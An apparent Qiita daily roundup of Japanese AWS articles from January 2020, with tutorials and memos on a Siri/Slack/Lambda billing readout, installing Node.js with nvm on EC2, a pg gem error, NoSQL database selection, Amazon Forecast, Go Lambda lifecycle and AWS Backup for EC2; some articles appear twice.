20200115のAWSに関する記事は28件です。

SiriにSlackbot が投稿した AWS 請求額を読み上げる仕事をさせる

はじめに

iPhone を使い始めて10年弱、 Siri が全く働いていないことに気付きました。
スマートスピーカーが流行っている昨今、自分の Siri にももっと活躍して欲しいので Slackbot が投稿した AWS 請求額を読み上げてもらうことにしました。

結果から見せるとこんな感じです。
料金を聞くと...
スクリーンショット 2020-01-14 22.12.01.png

Slackに投稿した内容を読み上げてくれました。
スクリーンショット 2020-01-14 22.12.21.png
では、作り方諸々を紹介していきます。

構成

構成はこんな感じになります。
アーキテクチャ.png

それぞれの役割を紹介していきます。

  • Siri
    • 音声呼び出しによるショートカットアプリの実行
    • Slack に投稿された AWS 請求額の読み上げ
  • ショートカットアプリ
    • SlackAPI を使用して投稿
    • SlackAPI を使用して最新の投稿を JSON で取得
    • 取得された JSON 情報から必要な内容を抽出
  • Slackbot
    • Lambda の呼び出し
  • Lambda
    • AWS 請求額の取得

処理内容

今回はショートカットアプリに重点を置いて説明していきます。
Lambda と Slackbot についてはそれぞれ以下の記事にて詳細を記載しているので参照してください。
Lambda:(Python)AWSの請求金額を取得する
Slackbot:echobotを作成し、Slackに通知する

それでは、ショートカットを作成していきます。
まず、ショートカット名を決めます。
Siri にショートカット名を呼びかけると登録しているショートカットを実行してくれます。
なので今回は『今月の料金は』というショートカット名にします。
(『AWSの料金は』としたかったのですが Siri が AWS の部分を理解してくれませんでした...)

続いて、各処理で使用する変数を定義していきます。

  • token:SlackAPI で使用する token (今回は Legacy tokens を使用しています。)
  • channel_nm:SlackAPI で投稿するチャンネル名
  • channel_id:SlackAPI で最新の投稿を取得する対象のチャンネルID
  • text:Slack に投稿する文章

変数が設定できたら、 Slack 投稿用 API の URL を作成し、実行します。
1.png
2.png
API を実行すると、 AWS 請求額取得 Lambda が実行されます。結果がSlackに投稿されるまで時間がかかるので待機させます。
3.png
待機後、 Slack の最新投稿取得APIを実行していきます。
投稿用 API の時と同様に URL を作成し、APIを実行します。
4.png
5.png
最新投稿取得 API を実行すると以下のような JSON が返却されます。

{"messages":
    [{
        "bot_id":"XXXXXXXX",
        "ts":"1579095866.000200",
        "attachments":
        [{
            "color":"36a64f",
            "id":1,
            "fallback":" ・AWS Cost Explorer: 1.04 USD\n ・Tax: 0.10 USD",
            "pretext":"01月01日から01月14日の請求額は、1.14 USDです。",
            "text":" ・AWS Cost Explorer: 1.04 USD\n ・Tax: 0.10 USD"
        }],
        "type":"message",
        "subtype":"bot_message",
        "text":""
    }],
    "has_more":true,
    "ok":true,
    "channel_actions_ts":null,
    "channel_actions_count":0}

ここから pretext の値を変数に追加していきます。
6.png
7.png
8.png
9.png
10.png
11.png
これで Siri に読み上げてもらう内容が取得できました。
最後に読み上げる文章をテキストに起こし、読み上げのアクションを設定します。
12.png
完成です。
Siri に向かって『 Hey Siri! 』と話しかけましょう!

おわりに

これで Siri が一つ仕事を覚えてくれました。
この構成を使えばもっといろいろな事ができると思います。
今回は Slack + Lambda をショートカットアプリから呼び出しましたが、 アプリの Pythonista3 から Python を実行しても面白い事ができると思います。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Siri に Slackbot が投稿した AWS 請求額を読み上げる仕事をさせる

はじめに

iPhone を使い始めて10年弱、 Siri が全く働いていないことに気付きました。
スマートスピーカーが流行っている昨今、自分の Siri にももっと活躍して欲しいので Slackbot が投稿した AWS 請求額を読み上げてもらうことにしました。

結果から見せるとこんな感じです。
料金を聞くと...
スクリーンショット 2020-01-14 22.12.01.png

Slackに投稿した内容を読み上げてくれました。
スクリーンショット 2020-01-14 22.12.21.png
では、作り方諸々を紹介していきます。

構成

構成はこんな感じになります。
アーキテクチャ.png

それぞれの役割を紹介していきます。

  • Siri
    • 音声呼び出しによるショートカットアプリの実行
    • Slack に投稿された AWS 請求額の読み上げ
  • ショートカットアプリ
    • SlackAPI を使用して投稿
    • SlackAPI を使用して最新の投稿を JSON で取得
    • 取得された JSON 情報から必要な内容を抽出
  • Slackbot
    • Lambda の呼び出し
  • Lambda
    • AWS 請求額の取得

処理内容

今回はショートカットアプリに重点を置いて説明していきます。
Lambda と Slackbot についてはそれぞれ以下の記事にて詳細を記載しているので参照してください。
Lambda:(Python)AWSの請求金額を取得する
Slackbot:echobotを作成し、Slackに通知する

それでは、ショートカットを作成していきます。
まず、ショートカット名を決めます。
Siri にショートカット名を呼びかけると登録しているショートカットを実行してくれます。
なので今回は『今月の料金は』というショートカット名にします。
(『AWSの料金は』としたかったのですが Siri が AWS の部分を理解してくれませんでした...)

続いて、各処理で使用する変数を定義していきます。

  • token:SlackAPI で使用する token (今回は Legacy tokens を使用しています。)
  • channel_nm:SlackAPI で投稿するチャンネル名
  • channel_id:SlackAPI で最新の投稿を取得する対象のチャンネルID
  • text:Slack に投稿する文章

変数が設定できたら、 Slack 投稿用 API の URL を作成し、実行します。
1.png
2.png
API を実行すると、 AWS 請求額取得 Lambda が実行されます。結果がSlackに投稿されるまで時間がかかるので待機させます。
3.png
待機後、 Slack の最新投稿取得APIを実行していきます。
投稿用 API の時と同様に URL を作成し、APIを実行します。
4.png
5.png
最新投稿取得 API を実行すると以下のような JSON が返却されます。

{"messages":
    [{
        "bot_id":"XXXXXXXX",
        "ts":"1579095866.000200",
        "attachments":
        [{
            "color":"36a64f",
            "id":1,
            "fallback":" ・AWS Cost Explorer: 1.04 USD\n ・Tax: 0.10 USD",
            "pretext":"01月01日から01月14日の請求額は、1.14 USDです。",
            "text":" ・AWS Cost Explorer: 1.04 USD\n ・Tax: 0.10 USD"
        }],
        "type":"message",
        "subtype":"bot_message",
        "text":""
    }],
    "has_more":true,
    "ok":true,
    "channel_actions_ts":null,
    "channel_actions_count":0}

ここから pretext の値を変数に追加していきます。
6.png
7.png
8.png
9.png
10.png
11.png
これで Siri に読み上げてもらう内容が取得できました。
最後に読み上げる文章をテキストに起こし、読み上げのアクションを設定します。
12.png
完成です。
Siri に向かって『 Hey Siri! 』と話しかけましょう!

おわりに

これで Siri が一つ仕事を覚えてくれました。
この構成を使えばもっといろいろな事ができると思います。
今回は Slack + Lambda をショートカットアプリから呼び出しましたが、 アプリの Pythonista3 から Python を実行しても面白い事ができると思います。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

AWS EC2に新しいバージョンのNode.jsをインストールする

AWSのEC2のNode.jsはデフォルトだと6系がインストールされていて、
古すぎて困って新しいバージョンをインストールしたくなったので手順をメモしておきます。

ドキュメント

https://docs.aws.amazon.com/ja_jp/sdk-for-javascript/v2/developer-guide/setting-up-node-on-ec2-instance.html

公式で紹介されている方法が一番確実でした。

nvmのインストール

nvmはnodeのバージョン管理ツールです。
公式サイトで推奨されているようなので利用することにしました。

GithubのREADME.mdをみてcurlコマンドでインストールします。

nvm/README.md at master · nvm-sh/nvm · GitHub

curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.35.2/install.sh | bash

nvmの有効化

. ~/.nvm/nvm.sh

上記のコマンドでnvmを有効化します。

Node.jsをインストール

nvm install 13.2.0

次にNode.jsのバージョンを指定してインストールします。

nvm use 13.2.0

これで使いたいバージョンのNode.jsがインストールされました。

ハマったこと

  • nvmの有効化の時にsudo権限が必要かと勘ぐってパスワード設定ググってたけど必要なかった
  • テストサーバーでディスク容量が足りなくてNode.jsインストール時になることがあった。ログを削除したら上手くいった
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

AWS EC2でCould not find pg-1.1.4 in any of the sources Run `bundle install` to install missing gems.と表示される

こんにちは@yukifreeworld12です。
EC2でエラーが出て解決したのでメモとして、そして後世の同じエラーにハマった人の為にも...

1. エラー文

EC2でGitと連携しクローンしていた終盤

$ rake secret
Could not find pg-1.1.4 in any of the sources
Run `bundle install` to install missing gems.

$ gem install pg
Building native extensions.  This could take a while...
ERROR:  Error installing pg:
    ERROR: Failed to build gem native extension.
<略>

To see why this extension failed to compile, please check the mkmf.log which can be found here:

  /home/name/.rbenv/versions/2.4.1/lib/ruby/gems/2.4.0/extensions/x86_64-linux/2.4.0/pg-1.2.2/mkmf.log

extconf failed, exit code 1

と長いエラー文。

2. 解決策

解決したコマンド
sudo yum install -y postgresql-devel
このコマンドでpostgresql-develをインストールした後
bundle installでちゃんといけました。

3.しかしその後

やりたかったrake secretを実行したところ...

$ rake secret
rake aborted!
Gem::LoadError: You have already activated rake 13.0.1, but your Gemfile requires rake 12.3.3. Prepending `bundle exec` to your command may solve this.

bundle execと書いてあるのでbundle execを付けて
bundle exec rake secretとしたところいけましたとさ。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

AWS DocumentDB vs AWS DynamoDB vs MongoDB on EC2 技術選定

MongoDBからの移行での技術選定を書いていきます。
NoSQLのブームが再来していると感じている今日この頃。

今回技術選定をすることになった経緯としては、
既存のwebサイトがlocalhostのMongoDBで動いていたため、冗長化ができずに単一障害点となっており、
webAPおよびDBを冗長化して耐障害性/可用性を高める必要がありました。
※web/APとDBが同一インスタンス上で動いている

既存の環境

Ubuntu 16.04.4 LTS
nginx 1.10.3
node.js 8.9.4
MongoDB 3.4.10

現状では監査ログの出力やフェールオーバーの仕組みは取り入れておりません。
またかなり古いバージョンとなっていますが、今回の記事にはほぼ関係ないので、ご了承ください

Local mongoからの移行技術選定

選定の候補に上がったのは以下でした。
AWSを使用しているので、選択肢はAWSの中で使用できるNoSQLサーバとなります。

  • MongoDB on EC2
  • DocumentDB
  • DynamoDB

アプリケーションの用途として、データ収集用のサーバです。
技術選定の際は以下で考え、総合的判断で算出していきます。
※ ()の中は優先度を示しています

  1. アプリケーションへの影響が小さい (中)
  2. 現状の性能が担保できる (高)
  3. 保守運用コストが低い (中)
  4. サーバ固定費が低い (中)
  5. 耐障害性/可用性が担保できる (高)
  6. DB側の開発コストが低い (高)
  7. データ移行コストが低い (低)

それぞれメリットやデメリットなどを以下で挙げていきます。

MongoDB on EC2

既存のWeb/APとDB一体型からDBを外出しした形となります。
既存と性能や呼び出し方が変わらないため影響は小さいですが、追加開発が多くなります。

メリット

  • アプリケーションへの影響が最小
  • 現状の性能を担保しやすい
  • データ移行コストが最も低い

デメリット

  • バックアップなどの管理をしなければならない
  • フェールオーバーの仕組みをカスタマイズしなければならない
  • ログの送付や監査ログの仕組みをカスタマイズしなければならない

DocumentDB

AWSフルマネージドサービスとなります。
MongoDBとの互換性も高いことが特徴となります。

メリット

  • MongoDBとの互換性が高いため、アプリケーション影響が小さい
  • mongo shellをサポートしているためデータ移行コストも低い
  • AWSフルマネージドのためバックアップや監査ログの運用が楽
  • 可用性や耐障害性もAWSが担保してくれる (はず)
  • 開発コストが低い

デメリット

  • 性能によって費用が高くなる可能性がある

DynamoDB

AWSのマネージドサービスとなります。
MongoDBとの互換性はありませんが、DMS (Database Migration Service)を使用することで移行が楽になります。

メリット

  • サーバの管理が不要
  • AWSマネージドのためバックアップや監査ログの運用が楽
  • 可用性や耐障害性もAWSが担保してくれる

デメリット

  • アプリケーションへの影響が大きい (DB設計からの見直しが必要なため修正が多い)
  • DBの開発コストが高い (設計から見直しが必要)
  • データ移行のコストが他よりも高い (DMSの構築もしなければならない)
  • 性能によって費用が高くなる可能性がある

技術選定結果と考察

以下主観ですが、表にまとめてみました。
性能や費用面は検証が必要なものの、結論から言えばDocumentDBが総評として良さそうと判断しました。

比較項目 MongoDB on EC2 DocumentDB DynamoDB
アプリケーション影響
性能担保 ? ?
保守運用コスト ×
費用 2~3倍 ? ?
耐障害性/可用性
DB側開発コスト ×
データ移行 ×
  1. アプリケーションへの影響が小さい (中)
  2. 現状の性能が担保できる (高)
  3. 保守運用コストが低い (中)
  4. サーバ固定費が低い (中)
  5. 耐障害性/可用性が担保できる (高)
  6. DB側の開発コストが低い (高)
  7. データ移行コストが低い (低)

別途検証の記事は上げていきますので、お楽しみに。

やはり、開発までのハードルの低さ、管理の簡単さ (コスト減)を合理的に判断するとマネージドサービスの使用が良さそうですね。

ただ、ベンダーロックインになってしまうのでコンバージドなアーキテクチャも状況によって検討の余地がありそうです。
Local MongoDB (EC2) vs DocumentDBの記事も記載していきます。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Amazon Forecast memo

流れ

データセット作成

予測子をトレーニング

予測 生成

データセット作成

データセットドメイン

  • RETAIL ドメイン – 小売の需要予測
  • INVENTORY_PLANNING ドメイン – サプライチェーンとインベントリの計画
  • EC2 CAPACITY ドメイン – Amazon Elastic Compute Cloud (Amazon EC2) キャパシティの予測
  • WORK_FORCE ドメイン – 従業員の計画
  • WEB_TRAFFIC ドメイン – 今後のウェブトラフィックの見積もり
  • METRICS ドメイン – 収益およびキャッシュフローなどの予測メトリクス
  • CUSTOM ドメイン – その他すべての時系列予測のタイプ

販売量は RETAIL ドメイン かな

データセットタイプ

TARGET_TIME_SERIES データセットタイプ

予測するフィールド(今回は販売量)が含まれているデータがこれ。

item_id (文字列) – 需要を予測する商品または製品の固有の ID。
timestamp (タイムスタンプ)
demand (float) – タイムスタンプ時の商品の販売数。これは、Amazon Forecast が予測を生成するターゲットフィールドでもあります。

↑今回の販売量予測はこれのみ使ってみる

RELATED_TIME_SERIES データセットタイプ

データが時系列でも、予測するフィールド(今回は販売量)が含まれていないデータ
↑商品の販売量予測では、なし。

ITEM_METADATA データセットタイプ

時系列ではないデータ
e.g. 商品のブランド、カラー、何らかのカテゴリなど

↑もらったデータにはなし

データセット作成

2012/12~2017/2のデータから2017/6の予測をしたい
データは↓こんな感じ ※demandは平米

item_id,timestamp,demand,
商品ID_1,2012-12-03,560.087,
商品ID_2,2012-12-03,117.826,
商品ID_3,2012-12-03,190.522,

687467.png

データセットGroupの中に、データセットをつくる
Automatic dataset import jobs→S3のデータを更新したときに自動で更新してくれるっぽいけど、必要ないので、一旦off
スクリーンショット 2019-06-04 14.16.47.png

  • データの間隔 → 1日ごと
  • timestampのフォーマットは 2012-12-03
  • データはカンマ区切り
  • データにはヘッダーがあります。 item_id,timestamp,demand
  • S3の置き場所 s3://xxxxx/yyyyyyy.csv 68747.png

作成中です(数分待つ)
スクリーンショット 2019-06-04 14.25.28.png

予測子をトレーニング

はじめに

予測子を予測するには、インポートしたターゲット時系列データにレシピを使用します。手動で特定のレシピを選択するか、[AutoML] を選択して Amazon Forecast にデータを処理させてデータセットグループに最適なレシピを選択するかを選択できます。

レシピ一覧

  • 自己回帰和分移動平均 (ARIMA) のレシピ
  • DeepAR+ のレシピ*
  • 指数平滑法 (ETS) のレシピ
  • 混合密度ネットワーク (MDN) のレシピ
  • マルチクォンタイルリカレントニューラルネットワーク (MQRNN) のレシピ
  • ノンパラメトリック時系列 (NPTS) のレシピ
  • Prophet のレシピ
  • スプライン変位予測 (SQF) のレシピ

勉強しないとわからないので、とりあえずAutoMLを使ってみる

予測子をトレーニングする

Predictor Training < START >
スクリーンショット 2019-06-04 14.38.36.png

  • トレーニングに名前をつける
  • Forecast horizon
    データセットのデータ入力頻度を掛け算して、予測したい期間を設定する
    今回はdailyのデータから1ヶ月間の予測をしたいので、30?? ←失敗作
    2017/6を予測したいので
    [与えたデータ] : ~2017/2
    [欲しい予測の期間] : 2017/6
    2017/3, 2017/4, 2017/5, 2017/6の4ヶ月分(130くらい?)に設定してみる

  • レシピは一旦AutoMLに設定

  • 自動で再トレーニングは不要なので、off(そもそもデータの自動更新をしないので、必要ない)

スクリーンショット 2019-06-04 14.46.33.png
予測子トレーニング開始
スクリーンショット 2019-06-04 14.53.19.png

※ トレーニング作成の間に読む!
Amazon Forecast 予測子のメトリクス

予測 生成

トレーニングが終了したので、deployする

  • Predictor - さっき作ったトレーニングしたPredictorを選ぶ
  • バージョンは1つしかないので、指定しない
  • 自動deployは不要 68747470733a2f2f71696974612d696d6167652d73746f72652e73332e61702d6e6f727468656173742d312e616d617a6f6e6177732e636f6d2f302f3333333833382f64306335346431352d616336612d633733382d343961662d6435336430336331653363312e706e67.png

デプロイを待つ
スクリーンショット 2019-06-04 23.50.04.png

予測を見る

Lookup forecast
スクリーンショット 2019-06-05 14.52.37.png

  • 予測を見たい商品のID
  • Predictor - さっき作ったPredictor
  • version - ひとつしかないので、指定しない
  • 予測の開始日、終了日を設定
  • Dailyのデータで予測したので、Dailyの予測を作る(当然ながら、与えたデータより大きい間隔での指定が必要)

66e67.png

----- 失敗作 -----
Bad requestとのこと。
Start dateEnd dateの間隔を広げてみる
スクリーンショット 2019-06-05 15.02.25.png
2017年3月分しか出てこない...(予測したいのは2017年6月)
スクリーンショット 2019-06-05 15.09.10.png
Demandで与えたデータが 2012/12~2017/02 だから2017/2月末に隣接した予測しかしてくれない??
予測子をトレーニングする に戻って、作り直してみる

成功\(^o^)/
スクリーンショット 2019-06-14 15.54.48.png
データをoutputしたいけれど、csv downloadの機能が見つからないので、コンソール画面からはできない...?
→AWS CLIの設定をする

※2019年6月時点のメモ

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Go AWS Lambda の init, main, handler のライフサイクルについて

はじめに

Go AWS lambdaでRDSに接続する処理を書く必要が出てきた際
connectionを作るのは init() で良いのですが果たして close をいつどこで行えば良いのか悩み、公式のリファレンスを参照しましたが肝心のライフサイクルについて具体的な記載が見当たらないため、実際に各func内の実行回数のcountを取って調査しました。

検証

init() main() Handler() それぞれの実行countをグローバルに保持しその値を出力する検証コードを作成して実行してみます。

package main

import (
    "fmt"
    "github.com/aws/aws-lambda-go/lambda"
    "log"
)

var invokeCount = 0
var initCount = 0
var mainCount = 0

func init() {
    log.Print("init start")
    initCount++
    log.Print("init end")
}

func Handler() (string, error) {
    log.Print("handler start")
    invokeCount++
    log.Printf("invoke=%d, main=%d, init=%d", invokeCount, mainCount, initCount)
    log.Print("handler end")
    return fmt.Sprintf("invoke=%d, main=%d, init=%d", invokeCount, mainCount, initCount), nil
}

func main() {
    log.Print("main start")
    mainCount++
    lambda.Start(Handler)
    log.Print("main end")
}

実行結果は以下の通り

[1st request]
2020/01/15 06:34:47 init start
2020/01/15 06:34:47 init end
2020/01/15 06:34:47 main start
2020/01/15 06:34:47 handler start
2020/01/15 06:34:47 invoke=1, main=1, init=1
2020/01/15 06:34:47 handler end

[2nd request]
2020/01/15 06:43:17 handler start
2020/01/15 06:43:17 invoke=2, main=1, init=1
2020/01/15 06:43:17 handler end

[3rd request]
2020/01/15 06:43:19 handler start
2020/01/15 06:43:19 invoke=3, main=1, init=1
2020/01/15 06:43:19 handler end

初回起動でlambda.Start(Handler)を呼んだ際にHandler()をreceiverとしてserverに登録して、2回目以降はHandler()を呼ぶようになっているようです。

次にしばらく時間を置いて "main end" が呼ばれるかどうかを確認しましたがどうも出力されていないよう。
こちらはcontainer自体がkillされたのか、呼ばれているがログが出ていないのか判断がつかず。何かいい方法がないものか。

結論

  • init()及びmain()が呼ばれるのは初回requestのみ

image.png

  • 2回目以降はHandler()が直接実行される

image.png

  • 一定時間経過後、container自体がkillされる? lambda.Start() 以降の処理は実行されているかどうか不明。

image.png

Database connection の close を呼ぶタイミングがなさそう・・・
呼ばれるかどうかは不明ですが、main()内でlambda.Start()を呼ぶ前にdeferで定義するのが良いんだろうか。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

EC2 のまるごとバックアップを AWS Backup がサポートしたので早速試してみました

AWS バックアップってなんですか?

https://aws.amazon.com/jp/backup/

AWS Backup は、AWS Storage Gateway を使用して、オンプレミスだけでなくクラウド内で AWS のサービス全体のデータのバックアップの集中管理と自動化を簡単に実行できる、完全マネージド型のバックアップサービスです。

EC2 のバックアップ集中管理と自動化に対応しました。

以下の AWS Blog 1月14日号で発表がありました。
https://aws.amazon.com/jp/blogs/aws/aws-backup-ec2-instances-efs-single-file-restore-and-cross-region-backup/

AWS Backup に以下3つの機能が追加されました。

  • you can now back up entire Amazon Elastic Compute Cloud (EC2) instances,
    • EC2 のバックアップができるようになったよ
  • you can now copy your backups to other AWS Regions,
    • 取ったバックアップを別の AWS リージョンにコピーできるよ
  • and you can now restore a single file from your Elastic File System filesystem instead of the full filesystem.
    • Elastic File System(EFS) のファイルシステムのバックアップから、任意のファイルを1ファイルを選んで取り出すことができるよ

というわけで、試してみます。

EC2 の起動と接続

まずはバックアップをとる EC2 を起動します。
1.PNG

設定は以下のとおりです。

インスタンスタイプ:t3a.micro
EBS:8 GiB x2
VPC:デフォルトVPC
サブネット:ap-northeast-1d
Security Group:launch-wizard-10

次に、EC2に接続します。
お手軽に Systems Manager を使います。
2.PNG

そして、EC2 インスタンス内で自分自身(localhost)に対して Ping を打ち続けます。
これは、AWS Backup で EC2 のバックアップを取った際、EC2 インスタンスの再起動が行われるかの確認の意味があります。

sh-4.2$ ping localhost
PING localhost (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=255 time=0.017 ms
64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=255 time=0.027 ms
64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=255 time=0.027 ms
64 bytes from localhost (127.0.0.1): icmp_seq=4 ttl=255 time=0.029 ms
64 bytes from localhost (127.0.0.1): icmp_seq=5 ttl=255 time=0.027 ms
64 bytes from localhost (127.0.0.1): icmp_seq=6 ttl=255 time=0.028 ms
64 bytes from localhost (127.0.0.1): icmp_seq=7 ttl=255 time=0.028 ms
64 bytes from localhost (127.0.0.1): icmp_seq=8 ttl=255 time=0.028 ms
64 bytes from localhost (127.0.0.1): icmp_seq=9 ttl=255 time=0.027 ms
64 bytes from localhost (127.0.0.1): icmp_seq=10 ttl=255 time=0.029 ms
64 bytes from localhost (127.0.0.1): icmp_seq=11 ttl=255 time=0.030 ms

この状態で、AWS Backup を取ってみます。

AWS Backup の操作

AWS Backup のコンソールを表示し、画面左側のハンバーガーメニュー(≡)をクリックします。
※実際の運用を行う際には、画面右側の「バックアッププランの作成」からプランを作成して、自動化するとよいです。
3.PNG

[ダッシュボード]メニューをクリックし、画面真ん中あたりにある、[オンデマンドバックアップを作成]ボタンをクリックします。
image.png

リソースタイプから[EC2]を選択し、インスタンスID から対象の EC2 インスタンスを指定します。
みつからない場合は、ぐるぐるアイコンをクリックしてください。
image.png

有効期限切れについては、今回は検証しませんが、n日後とかn週間後といった指定をすることで
期限が切れた古いバックアップを自動削除してくれる機能です。
image.png

バックアップボールト(Backup Vault)は、バックアップのグループの管理単位です。
初期状態では Default のみ存在しています。必要に応じて、作成しグルーピングを行います。
今回は、Default で試します。
image.png

IAM ロールも各環境のポリシーに応じて設定します。今回はデフォルトのロールで試します。
タグは必要に応じて管理用などに使います。未指定でも構いません。
設定ができたら、[オンデマンドバックアップを作成]ボタンをクリックしてバックアップの取得を開始します。
image.png

※たまに、[オンデマンドバックアップを作成]ボタンをクリックした際に、IAM ロールのエラーがでます。
※この場合は、デフォルトのロール ⇒ IAMロールを選択してください ⇒ デフォルトのロールとラジオボタンをクリックし、改めて[オンデマンドバックアップを作成]ボタンをクリックすることで続行できます。

バックアップが開始されると、以下の画面に遷移されます。
image.png

バックアップジョブIDのリンクをクリックすると、バックアップの詳細情報が確認できます。
image.png

バックアップで取得した AMI を確認する

image.png
AMI名称は、Nameタグ + インスタンスID + バックアップジョブID で構成される。

バックアップ中の OS 再起動有無を確認する

以下のように、Ping が途切れることなく続いていた。(icmp_seqの値が続いている)

64 bytes from localhost (127.0.0.1): icmp_seq=1805 ttl=255 time=0.032 ms
64 bytes from localhost (127.0.0.1): icmp_seq=1806 ttl=255 time=0.028 ms
64 bytes from localhost (127.0.0.1): icmp_seq=1807 ttl=255 time=0.029 ms
64 bytes from localhost (127.0.0.1): icmp_seq=1808 ttl=255 time=0.027 ms
64 bytes from localhost (127.0.0.1): icmp_seq=1809 ttl=255 time=0.028 ms
64 bytes from localhost (127.0.0.1): icmp_seq=1810 ttl=255 time=0.027 ms
64 bytes from localhost (127.0.0.1): icmp_seq=1811 ttl=255 time=0.031 ms
64 bytes from localhost (127.0.0.1): icmp_seq=1812 ttl=255 time=0.027 ms
64 bytes from localhost (127.0.0.1): icmp_seq=1813 ttl=255 time=0.028 ms
64 bytes from localhost (127.0.0.1): icmp_seq=1814 ttl=255 time=0.028 ms
64 bytes from localhost (127.0.0.1): icmp_seq=1815 ttl=255 time=0.027 ms
64 bytes from localhost (127.0.0.1): icmp_seq=1816 ttl=255 time=0.028 ms
64 bytes from localhost (127.0.0.1): icmp_seq=1817 ttl=255 time=0.028 ms
64 bytes from localhost (127.0.0.1): icmp_seq=1818 ttl=255 time=0.032 ms

合わせて、/var/log/messages内に起動や停止といったログがないかを確認しましたが見当たりませんでした。
OSレベルでの再起動は起こっておらず、また、EC2の停止起動も起きていませんでした。
つまり、AWS Backup による EC2 のバックアップは無停止で行われるようです。

そのため、運用上の必要に応じて以下のような対応が必要です。

  • Cloudwatch Events と AWS Lambda を利用して、事前に対象の EC2 インスタンスを停止させておく
    • その後、その EC2 インスタンスの起動が必要になる
  • いっそのこと、無停止バックアップにしてしまう
    • AWS 非推奨でデータの整合性を担保できないので自己責任で・・・

バックアップから復元してみよう

AWS Backup で取得したバックアップから EC2 インスタンスを復元してみましょう。
AWS Backup の EC2 バックアップは定義を含めた丸ごとバックアップのため、復元時もその情報が引き継がれ利用可能なはずです。

では、バックアップボールトを表示し、Defaultの詳細画面を開きます。
image.png

対象のバックアップについて、復元ポイントIDから選択して、[復元]ボタンをクリックします。
image.png
※復元ポイントIDはimage/ami-idの形式です。

バックアップ取得元の EC2 インスタンスの設定を以下に再掲します。

インスタンスタイプ:t3a.micro
EBS:8 GiB x2
VPC:デフォルトVPC
サブネット:ap-northeast-1d
Security Group:launch-wizard-10

以下はバックアップから復元の画面に表示された情報です。
バックアップ取得元の情報を引き継いでいることがわかります。

image.png

そして、復元時に AWS Backup が利用するロールをどうするか選択します。
今回は、デフォルトのロールで試しています。環境のポリシーに応じて設定・選択してください。

必要に応じて、詳細設定を開き、設定を行います。
image.png
※ 今回はt3.microで試行していますが、T2/T3 無制限を有効化が無効状態でした。
※ が、復元後に確認してみると「有効化」状態でした。。。

問題がなければ、[バックアップを復元]ボタンをクリックして復元を開始します。

・・・と、デフォルトのロールで実施すると、EC2 インスタンスの復元に失敗しました!
おそらく、デフォルトのロールに EC2 インスタンスを復元するにあたって必要な権限が足りていないのでしょう。

改めて、AWS Backup 用のロールを作成し、権限を付与して実行します。
image.png

数分待つと、無事に復元が行われました。
image.png

めでたし、めでたし・・・?

復元後の注意点

細かなところでバックアップ取得ともと設定が異なるところがありました。
環境によっては対応しないとならないため、注意が必要です。
以下は本試行で気づいた点ではありますが、記載のないその他のパラメータ(例えば、送信元/送信先チェックなど)の設定を変更している場合も合わせて注意が必要です。

  • タグが引き継がれない
    • Name タグなしのインスタンスが起動してくる
    • 複数、同じ Name タグを持つインスタンスが起動してわかりづらいのを防いでいる?
  • プライベート IP アドレス
    • 指定するところがない。
    • 細かく管理しないのであれば問題はない
  • キーペアが埋め込まれない?
    • EC2 のコンソールには表示がない。
    • Systems Manager - Session Manager では接続が可能
  • (前述のとおり)T2/T3 無制限が「無効状態」で復元しても、「有効状態」
    • 画面と実際の設定が異なるのが気になる
  • 詳細モニタリングの設定箇所がない
    • 後から設定ができるので大きな問題ではない

まとめ

リリースされたばかりで痒いところに手が届かなかったり、細かい注意点があったりしますが、
Cloudwatch Events と AWS Lambda を組み合わせて自作実装が必要だった EC2 のバックアップが自動化できるようになったのはアツいです。

また、基本的には何も考えずに同等の EC2 インスタンスを復元できるようになりました。
こちらも細かい注意が必要な点がありますが、それさえ乗り越えて(運用上で問題がないことを確認することで)作業の容易化につなげられるアップデートであると感じました。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

AWS Backup でEC2のバックアップができるようになったので試してみました

AWS バックアップってなんですか?

https://aws.amazon.com/jp/backup/

AWS Backup は、AWS Storage Gateway を使用して、オンプレミスだけでなくクラウド内で AWS のサービス全体のデータのバックアップの集中管理と自動化を簡単に実行できる、完全マネージド型のバックアップサービスです。

EC2 のバックアップ集中管理と自動化に対応しました。

以下の AWS Blog 1月14日号で発表がありました。
https://aws.amazon.com/jp/blogs/aws/aws-backup-ec2-instances-efs-single-file-restore-and-cross-region-backup/

AWS Backup に以下3つの機能が追加されました。

  • you can now back up entire Amazon Elastic Compute Cloud (EC2) instances,
    • EC2 のバックアップができるようになったよ
  • you can now copy your backups to other AWS Regions,
    • 取ったバックアップを別の AWS リージョンにコピーできるよ
  • and you can now restore a single file from your Elastic File System filesystem instead of the full filesystem.
    • Elastic File System(EFS) のファイルシステムのバックアップから、任意のファイルを1ファイルを選んで取り出すことができるよ

というわけで、試してみます。

EC2 の起動と接続

まずはバックアップをとる EC2 を起動します。
1.PNG

設定は以下のとおりです。

インスタンスタイプ:t3a.micro
EBS:8 GiB x2
VPC:デフォルトVPC
サブネット:ap-northeast-1d
Security Group:launch-wizard-10

次に、EC2に接続します。
お手軽に Systems Manager を使います。
2.PNG

そして、EC2 インスタンス内で自分自身(localhost)に対して Ping を打ち続けます。
これは、AWS Backup で EC2 のバックアップを取った際、EC2 インスタンスの再起動が行われるかの確認の意味があります。

sh-4.2$ ping localhost
PING localhost (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=255 time=0.017 ms
64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=255 time=0.027 ms
64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=255 time=0.027 ms
64 bytes from localhost (127.0.0.1): icmp_seq=4 ttl=255 time=0.029 ms
64 bytes from localhost (127.0.0.1): icmp_seq=5 ttl=255 time=0.027 ms
64 bytes from localhost (127.0.0.1): icmp_seq=6 ttl=255 time=0.028 ms
64 bytes from localhost (127.0.0.1): icmp_seq=7 ttl=255 time=0.028 ms
